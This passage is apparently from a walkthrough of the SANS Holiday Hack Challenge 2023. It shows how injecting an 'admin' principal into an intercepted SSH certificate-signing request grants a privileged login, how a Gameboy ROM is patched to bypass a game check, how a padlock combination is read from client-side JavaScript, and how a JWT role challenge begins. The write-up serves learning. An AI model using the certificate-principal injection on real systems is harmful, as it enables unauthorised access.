        "useCanaryFusionServer": false,
        "authType": "publishprofile"
      }
    }
  }
}

Inspect Github Repository

We can clone it and analyze the source-code:

git clone https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa
Cloning into 'northpole-ssh-certs-fa'...
code northpole-ssh-certs-fa

Inspecting the parse_input function, we can see there is hidden a principle field that can be used during the signing process:

principle

We can enumerate the principle <-> Linux username mapping as follows:

monitor@ssh-server-vm:~$ find /etc/ssh/auth_principals/ -type f -print -exec cat {} \;
/etc/ssh/auth_principals/monitor
elf
/etc/ssh/auth_principals/alabaster
admin

Thus, we can create a new private key for alabaster, with the principle name of admin, we will be able to login!

ssh-keygen -C '[email protected]' -f alabaster_key
cat alabaster_key.pub

Intercept and add principle to request:

POST /api/create-cert?code=candy-cane-twirl HTTP/2
Host: northpole-ssh-certs-fa.azurewebsites.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 626

{"ssh_pub_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1s= [email protected]","principal":"admin"}

requestssh

Response:

{
    "ssh_cert": "[email protected] AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACcyNDc1NjkyMzA0MTI0NjkwNDM2Mzk3MTExNzE3MTU5Mjc3NzUyMjIAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1sAAAAAAAAAAQAAAAEAAAAkNGE1MmE5M2ItMTQ0Zi00NTlmLWIwNmMtYWJiNzZhOWVkZDZiAAAACQAAAAVhZG1pbgAAAABlkmx6AAAAAGW3V6YAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEBd6C8kibu7YgCGShIAM7tTVaU5jZBNbRVO053H72pK22rA6WCDKggnWMciPBWiZt9af2afDLOcNrNCC7Xug08D",
    "principal": "admin"
}

SSH as Alabaster

$ echo -n '[email protected] AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACcyNDc1NjkyMzA0MTI0NjkwNDM2Mzk3MTExNzE3MTU5Mjc3NzUyMjIAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1sAAAAAAAAAAQAAAAEAAAAkNGE1MmE5M2ItMTQ0Zi00NTlmLWIwNmMtYWJiNzZhOWVkZDZiAAAACQAAAAVhZG1pbgAAAABlkmx6AAAAAGW3V6YAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEBd6C8kibu7YgCGShIAM7tTVaU5jZBNbRVO053H72pK22rA6WCDKggnWMciPBWiZt9af2afDLOcNrNCC7Xug08D' > alabaster_key-cert.pub

$ ssh -i alabaster_key -i alabaster_key-cert.pub [email protected]

alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)

alabaster@ssh-server-vm:~$ ls -la
total 36
drwx------ 1 alabaster alabaster 4096 Nov  9 14:07 .
drwxr-xr-x 1 root      root      4096 Nov  3 16:50 ..
-rw-r--r-- 1 alabaster alabaster  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 alabaster alabaster 3665 Nov  9 17:03 .bashrc
drwxr-xr-x 3 alabaster alabaster 4096 Nov  9 14:07 .cache
-rw-r--r-- 1 alabaster alabaster  807 Apr 23  2023 .profile
drwxr-xr-x 6 alabaster alabaster 4096 Nov  9 14:07 .venv
-rw------- 1 alabaster alabaster 1126 Nov  9 14:07 alabaster_todo.md
drwxr-xr-x 2 alabaster alabaster 4096 Nov  9 14:07 impacket

alabaster@ssh-server-vm:~$ cat alabaster_todo.md
# Geese Islands IT & Security Todo List
- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.

We enter in the answer into our badge for the objective: Answer: gingerbread

Achievement

Congratulations! You have completed the SSH/API challenge!

After speaking with Alabaster Snowball again, we obtained the following hint:

Misconfiguration ADventures

Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.

Port of Driftbit Grotto

While exploring the Pixel Island, we discover the Port of Driftbit Grotto. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured Tinsel Upatree to greet us!

dock

When we make land, we obtain new objectives on arrival.

Game Cartridges: Vol 1 (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Find the first Gamegosling cartridge and beat the game

Game Cartridges: Vol 2 (Pixel Island) 🎄🎄🎄🎄🎄

Find the second Gamegosling cartridge and beat the game

Game Cartridges: Vol 3 (Steampunk Island) 🎄🎄🎄🎄🎄

Find the third Gamegosling cartridge and beat the game

Full Island (Zoomed Out)

zoom30

Game Cartridges: Vol 2

Game Cartridges: Vol 2 (Pixel Island) 🎄🎄🎄🎄🎄

Find the second Gamegosling cartridge and beat the game

When speaking with Tinsel Upatree, we obtain the following hint:

Gameboy 2

Try poking around Pixel Island. There really aren’t many places you can go here, so try stepping everywhere and see what you get!

Finding the Game Cartridge

The game cartridge was found just to the left of Tinsel Upatree!

cartridge

We can now find the “Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2” in our Items:

item

When we click on the game in our inventory, it launches from https://gamegosling.com/vol2-akHB27gg6pN0/ with two different Gameboy ROMs to choose from: game0.gb and game1.gb.

wget https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb -O game0-vol2.gb
wget https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb -O game1-vol2.gb

Speaking with TInsel Upatree after we obtained the game cartridge, we obtain the following hint:

Gameboy 2

This feels the same, but different! 2) If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding. 3) I think I may need to get a DIFFerent perspective. 4) I wonder if someone can give me a few pointers to swap.

Vol 2 Initial Gameplay

Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.

visualboyadvance-m game0-vol2.gb

In visualboyadvance-m emulator, the K key is mapped to B, and L key is mapped to A. The WASD keys are to move.

Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 2:

gamestartup

gamestartup

*PREVIOUSLY ON HOLIDAY HACK*
Jared: Elf, have  you ever heard of a miner named Tom Liston?
Elf: Blah blah blah...
I'm not listening to this again!
Glooooooory!

After the speech, we exit the cave:

exitcave

Exiting the cave:

exitcave

Trying to move our way past T-Wiz we are turned around …

movetwiz

Now lets try with game1-vol2.gb:

visualboyadvance-m game1-vol2.gb

movetwiz

Trying to move our way past T-Wiz we are turned around …

movetwiz

Bypassing T-Wiz

Comparing ROMs

Comparing the two different Gameboy ROMs of game0.gb and game1.gb:

$ sdiff <(xxd game0-vol2.gb) <(xxd game1-vol2.gb) | fgrep ' | '
00000140: 0000 0000 3030 001b 0203 0033 0142 71b3  ....00.... | 00000140: 0000 0000 3030 001b 0203 0033 0142 7186  ....00....
00000590: 5405 050b 4b9a 2300 0000 0000 06ad 4210  T...K.#... | 00000590: 5405 05d2 ac3d 2d00 0000 0000 06ad 4210  T....=-...
00016a80: 2080 0c80 0300 000f f807 0000 0000 0f10   ......... | 00016a80: 2080 0c80 0b00 000f f807 0000 0000 0f10   .........
00016ab0: 0000 0000 2000 0600 0900 000f f807 0000  .... ..... | 00016ab0: 0000 0000 2000 0600 0600 000f f807 0000  .... .....
00017c80: 0200 fe80 002a 0013 fffe fffb 13ff ffff  .....*.... | 00017c80: 0100 fe80 002a 0013 fffe fffb 13ff ffff  .....*....
00018500: 1204 2103 c60d 5701 1400 00ff fc14 0280  ..!...W... | 00018500: 1204 2103 c60d 5701 1400 00ff fc14 0300  ..!...W...
00018510: fffd 140b 80ff fe35 fffc 3200 fffc 2703  .......5.. | 00018510: fffd 1404 00ff fe35 fffc 3200 fffc 2703  .......5..

$ cmp -l game0-vol2.gb game1-vol2.gb | gawk '{printf "%08X %02X %02X\n", $1, strtonum(0$2), strtonum(0$3)}'
00000150 B3 86 # Header

00000594 0B D2
00000595 4B AC
00000596 9A 3D
00000597 23 2D

00016A85 03 0B

00016AB9 09 06

00017C81 02 01 # Decreased

0001850F 02 03
00018510 80 00
00018514 0B 04
00018515 80 00
Ghidra Analysis

Using the GhidraBoy extension, we are able to load the GameBoy ROM within ghidra and reverse the program!

ghidra

Radare Analysis

Using radare2, we were able to find a cross-reference to “You shall not pass” at the address 0x00017bf0.

$ xxd game0-vol2.gb | grep -B2 pass
00017bf0: 2512 0440 0054 2d77 697a 3a20 596f 7520  %[email protected]: You
00017c00: 7368 616c 6c0a 6e6f 7420 7061 7373 2121  shall.not pass!!

[0x00000100]> izzq~pass
0x47bf5 29 28 T-wiz: You shall\nnot pass!!!
[0x00000100]> axt @0x17bf0
(nofunc) 0x7834 [UNKNOWN] ld a, [aav.0x00017bf0]

This is helpful as looking at the comparisons of ROMs, 0x00017bf0 is close to 0x00017C81.

Hex Edit

Looking back at the hex-comparison of game versions, the data at 0x00017C81 decreased and is close to where the “You shall not pass” is referenced.

So we change 02 to 01 in game0-vol2.gb to match the same value in game0-vol1.gb using Curses Hexeditor v0.9.7:

hexeditor game0-vol2.gb

Use CTRL+T to 00017C81

hexedit

In game0 - using radare2 to inspect before and after our change in game0-vol2.gb, s is used to seek to the address and pd is used to print disassembly. Note: we seek to 0x47C80 as the 4 denotes ROM4.

radare

In game1 - we can use radare2 to inspect before and after our change in game1-vol2.gb, s is used to seek to the address and pd is used to print disassembly. Note: we seek to 0x47C80 as the 4 denotes ROM4.

radare

Booting up the patched version of game-vol2-patched, T-wiz still says “You shall not pass” but he does not kick us back! Past him, there is a portal for us to go through.

patched

Morse-Code Decoder

When interacting with the portal, we end up in a room with ChatNPT on the left and a radio on the right.

morse

When selecting ChatNPT it says “I love old-timey radio.” When selecting the radio it starts playing beeps that are similar to morse-code.

We can record the audio using VisualBoyAdvance:

recordaudio

From there, I used an online morse decoder tool and it decoded the sound to GL0RY. Note, the 0 is a number.

recordaudiodecoded

We enter in the answer into our badge for the objective: Answer: gl0ry

Achievement

Congratulations! You have completed the Game Cartridges: Vol 2 challenge!

Steampunk Island

Set a course for the heart of the map to reach Steampunk Island on our trusty ship. Navigate skillfully using the arrow keys on the keyboard or the WASD keys. The island awaits in the middle, promising a journey filled with mechanical wonders and adventurous discoveries. Safe travels!

map

There are three different ports available:

Port of Brass Bouy

While exploring the Steampunk Island, we discover the Port of Brass Bouy. Upon reaching it, a “Dock Now” option is presented to us.

portbrass

After docking:

dockbrass

To the left of the dock, we are greeted by the Goose of Steampunk Island.

dockbrass2

When we make land, we obtain a new objective on arrival.

Faster Lock Combination (Steampunk Island) 🎄🎄🎄🎄🎄

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

Full Island (Zoomed Out)

zoom30

Faster Lock Combination

Faster Lock Combination (Steampunk Island) 🎄🎄🎄🎄🎄

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

If we keep proceeding to the south-west corner of the island, we can find Bow Ninecandle outside of a dial-combination locked lavatory!

bow

Bow Ninecandle

I’m sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush… I mean fuss.

When speaking with Bow Ninecandle, he suggests a video on how to decode a dial combination lock in 8 attempts or less. After reviewing the video, you can identify the first and third digit perfectly but the second digit, you can only get down to 8 different possible values.

When we startup the challenge, it has a combination lock with instructions on how to go about completing it.

startup

The challenge uses a single JavaScript file that generates and stores the combination in variables stored in our browser. We can also use ChatGPT to quickly rewrite the JavaScript code into Python.

function GenerateCombination() {
      function getRandomElement(arr) {
        const randomIndex = Math.floor(Math.random() * arr.length);
        return arr[randomIndex];
      }
      function rollover(num) {
        if (num >= 40) {
          num -= 40
        }
        return num
      }
      function gen_guess_numbers(rem) {
        var guess_number1 = Math.floor(Math.random() * 12);
        var guess_number2 = Math.floor(Math.random() * 12);
        while (guess_number2 == guess_number1) {
          guess_number2 = Math.floor(Math.random() * 12);
        }
        var gnum1_nums = [guess_number1, guess_number1 + 10, guess_number1 + 20, rollover(guess_number1 + 30)]
        var gnum2_nums = [guess_number2, guess_number2 + 10, guess_number2 + 20, rollover(guess_number2 + 30)]
        var gnum1_contains = [gnum1_nums[0] % 4, gnum1_nums[1] % 4, gnum1_nums[2] % 4, gnum1_nums[3] % 4].includes(rem)
        var gnum2_contains = [gnum2_nums[0] % 4, gnum2_nums[1] % 4, gnum2_nums[2] % 4, gnum2_nums[3] % 4].includes(rem)
        return [guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains]
      }
      var first_number = Math.floor(Math.random() * 40);
      while (first_number > 37 || first_number < 17) {
        first_number = Math.floor(Math.random() * 40);
      }
      var first_number_sticky = first_number - 5
      var remainder = first_number % 4
      var cont = true
      var guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains
      var bad_third_number
      while (cont) {
        [guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains] = gen_guess_numbers(remainder)
        while ((gnum1_contains && gnum2_contains) || (!gnum1_contains && !gnum2_contains)) {
          [guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains] = gen_guess_numbers(remainder)
        }
        var possible_3rd_numbers = [...gnum1_nums.filter(num => num % 4 === remainder), ...gnum2_nums.filter(num => num % 4 === remainder)]
        var third_number = getRandomElement(possible_3rd_numbers)
        while (third_number == first_number) {
          third_number = getRandomElement(possible_3rd_numbers)
        }
        bad_third_number = possible_3rd_numbers.filter(item => item !== third_number)[0];
        if (!([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11].includes(third_number) || [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11].includes(bad_third_number))) {
          cont = false
        }
      }
      var remainder_add2 = remainder + 2
      var remainder_add2_add4 = remainder_add2 + 4
      var second_number_guesses_row1 = [remainder_add2, remainder_add2 + 8, remainder_add2 + 16, remainder_add2 + 24, rollover(remainder_add2 + 32)]
      var second_number_guesses_row2 = [remainder_add2_add4, remainder_add2_add4 + 8, remainder_add2_add4 + 16, remainder_add2_add4 + 24, rollover(remainder_add2_add4 + 32)]
      const range = 2;
      function circularDistance(a, b) {
        const totalNumbers = 40; // 0 to 39 inclusive
        const directDist = Math.abs(a - b);
        const circularDist = totalNumbers - directDist;
        return Math.min(directDist, circularDist);
      }
      function isOutsideCircularRangeOf(candidate, target) {
        return circularDistance(candidate, target) > range;
      }
      function filterOutsideCircularRange(numbers, target) {
        return numbers.filter(candidate => isOutsideCircularRangeOf(candidate, target));
      }
      var filteredSecondNumbers = filterOutsideCircularRange([...second_number_guesses_row1, ...second_number_guesses_row2], first_number);
      var second_number = getRandomElement(filteredSecondNumbers)
      while (second_number == first_number || second_number == third_number) {
        second_number = getRandomElement(filteredSecondNumbers)
      }
      return {
        "first_number": first_number,
        "second_number": second_number,
        "third_number": third_number,
        "bad_third_number": bad_third_number,
        "first_number_sticky": first_number_sticky,
        "guess_number1": guess_number1,
        "guess_number2": guess_number2
      }
    }

This means you can access the combination via the lock_numbers variable in the Developer Tools Console.

locknums

If you’re unfamiliar with unlocking a dial combination, follow these steps:

  1. Turn the dial clockwise (right arrow) until you reach the first number.
  2. Rotate the dial counterclockwise (left arrow), skipping over the second number once, and then stop at the second number.
  3. Continue turning the dial clockwise (right arrow) until you reach the third number.
  4. Use your mouse to drag the padlock shackle up and mission complete!

challenge

Achievement

Congratulations! You have completed the Faster Lock Combination challenge!

The Captain’s Comms

The Captain's Comms (Steampunk Island) 🎄🎄🎄🎄🎄

Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You’ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.

If we head south from the dock, navigating through intricate streets, we come across Chimney Scissorsticks in close proximity to a challenging area.

chimney

When speaking with Chimney Scissorsticks, we obtain the following hints:

Comms Private Key

Find a private key, update an existing JWT!

Comms JWT Intro

A great introduction to JSON Web Tokens is available from Auth0.

Comms Journal

I’ve seen the Captain with his Journal visiting Pixel Island!

Comms Web Interception Proxies

Web Interception proxies like Burp and Zap make web sites fun!

Comms Abbreviations

I hear the Captain likes to abbreviate words in his filenames; shortening some words to just 1,2,3, or 4 letters.

The challenge is hosted on https://captainscomms.com and when initially launched present some background information.

background

Investigating Items in Room

We can identify items in yellow and click them to see different images load:

Captain’s SDR

After clicking on the computer monitor (highlighted in yellow), which happens to be the captain’s Software Defined Radio (SDR), we are denied access and need to become a radioMonitor user to access.

sdr

sdr

Radio

After clicking on the radio (highlighted in yellow), we are denied access and need to become a JWT Radio Administrator to access.

radio

radio

Captain’s ChatNPT Initial To-Do List

After clicking on the paper (highlighted in yellow) - Captain’s ChatNPT Initial To-Do List, we are presented with some ChatNPT prompts and responses such as - where some JWT public keys are stored.

todo

todo

Captain’s To-Do List

After clicking on the paper (highlighted in yellow) - Captain’s To-Do List, we are presented with some things that need to be done.

todo

Just Watch This: Owner’s Card

After clicking on the paper (highlighted in yellow) - Just Watch This: Owner’s Card, we are presented with some information about how the Captain’s SDR works with the Authorization header.

owners

owners

Just Watch This Owner’s Manual Volume I

After clicking on the book (highlighted in yellow) - Just Watch This Owner’s Manual Volume I, we are presented with some information about all the different types of roles that are designed in the program.

owners

owners

Just Watch This Owner’s Manual Volume II

After clicking on the book (highlighted in yellow) - Just Watch This Owner’s Manual Volume II, we are presented with some information about the Authorization header and keys folder.

owners

owners

Just Watch This Appendix A - Decoder Index

After clicking on the book (highlighted in yellow) - Just Watch This Appendix A - Decoder Index we are presented with some information about how the system uses morse code in the SDR.

decoder

decoder

Burp - Discovery of Additional JWTs

When using Burp Proxy, we can see that on initial launch we obtain two new JWT cookies of the names justWatchThisRole and CaptainsCookie. These are also sent with requests in the Authorization header in the form Authorization: Bearer <jwt_token>

Response Headers
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg; Secure; Path=/; SameSite=None

Set-Cookie: CaptainsCookie=eyJjYXB0YWluc1ZpY3RvcnkiOjAsInVzZXJpZCI6IjZiYWIwYTdiLTVkNDMtNDcwZC1hMGU1LWY1NDljNTcyODcyMyJ9.ZZGeTw.oBseo3ORfX98Cmxf8UkPud2MhCw; Secure; HttpOnly; Path=/; SameSite=None

Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg

From the response of https://captainscomms.com/, we can obtain the default role JWT of radioUser from the justWatchThisRole cookie.

Request
GET /jwtDefault/rMonitor.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg
Response
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding,Cookie
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg; Secure; Path=/; SameSite=None
..[snip]..
JWT Decoded
{
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioUser"
}

From the response of https://captainscomms.com/, we can obtain the default role JWT of radioUser from the justWatchThisRole cookie.

Response Headers
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg;
JWT Decoded
Payload = {
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioUser"
}

We can then use the previous JWT into the Authorization header and obtain the monitor role JWT from https://captainscomms.com/jwtDefault/rMonitor.tok.

Request
GET /jwtDefault/rMonitor.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
